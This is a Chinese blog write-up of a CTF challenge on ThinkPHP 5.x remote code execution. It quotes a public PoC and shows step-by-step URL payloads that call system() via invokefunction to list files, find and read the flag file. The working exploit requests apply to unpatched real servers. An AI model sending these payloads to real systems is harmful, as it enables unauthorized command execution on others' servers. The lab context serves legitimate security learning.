

# CTF unserialize3

原创

艺博东 于 2020-09-25 21:18:59 发布 10212 收藏 10

分类专栏: [网络攻防](#) 文章标签: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/HYD696/article/details/108803410>

版权



[网络攻防](#) 专栏收录该内容

24 篇文章 17 订阅

订阅专栏

题目场景: <http://220.249.52.133:52904> (温馨提示: 每次进入URL的端口号都不一样)

1、点击链接进入如下界面

2、百度搜索: Thinkphp V5.x 远程代码执行漏洞-POC

## ThinkPHP V5.x 远程代码执行漏洞利用 (附POC)

### 摘要

由于ThinkPHP5 框架控制器名 没有进行足够的安全监测, 导致在没有开启强制路由的情况下, 可以伪装特定的请求可以直接Getshell

### 漏洞描述:

由于ThinkPHP5 框架控制器名 没有进行足够的安全监测, 导致在没有开启强制路由的情况下, 可以伪装特定的请求可以直接Getshell

**影响范围: v5.x < 5.1.31, <= 5.0.23**

### 漏洞详情:

本地搭建了一个ThinkPHP5 的环境

```
https://www.0dayhack.com/public/index.php?
```

```
s=/index//think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
```

```
[]=ls%20-l
```

<https://blog.csdn.net/HYD696>

```
https://www.0dayhack.com/public/index.php?
```

```
s=/index//think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
```

3、把“/index.php?s=/index//think/app/invokefunction&function=call\_user\_func\_array&vars[0]=system&vars[1][]=ls%20-l”加在后面, 然后URL为: [http://220.249.52.133:52904/index.php?](http://220.249.52.133:52904/index.php?s=/index//think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l)

```
s=/index//think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
```

```
← → ↻ ▲ 不安全 | 220.249.52.133:52904/index.php?s=/index//think/app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
```

页面错误! 请稍后再试 ~

ThinkPHP V5.0.20 { 十年磨一剑-为API开发设计的高性能框架 }

<https://blog.csdn.net/HYD696>

4、s=index/think\app/invokeFunction&function=call\_user\_func\_array&vars[0]=system&vars[1][]=dir

```
← → ↻ ▲ 不安全 | 220.249.52.133:52904/index.php?s=index/think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
```

favicon.ico index.php robots.txt router.php static favicon.ico index.php robots.txt router.php static

5、dir—>find / -name “\*flag”

```
← → ↻ 220.249.52.133:52904/index.php?s=index/think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag"
```

5.1 回车

← → 🔄 ⚠️ 不安全 | 220.249.52.133:52904/index.php?s=index/think\App\invokeFunction&function=call\_user\_func\_array&vars[0]=system&vars[1][]=find%20/%20-na...

/flag /flag

6、find / -name "\*flag"—>cat /flag—>回车

← → 🔄 ⚠️ 不安全 | 220.249.52.133:52904/index.php?s=index/think\App\invokeFunction&function=call\_user\_func\_array&vars[0]=system&vars[1][]=cat%20/flag

flag(thinkphp5\_rce) flag(thinkphp5\_rce)

7、OK

flag{thinkphp5\_rce}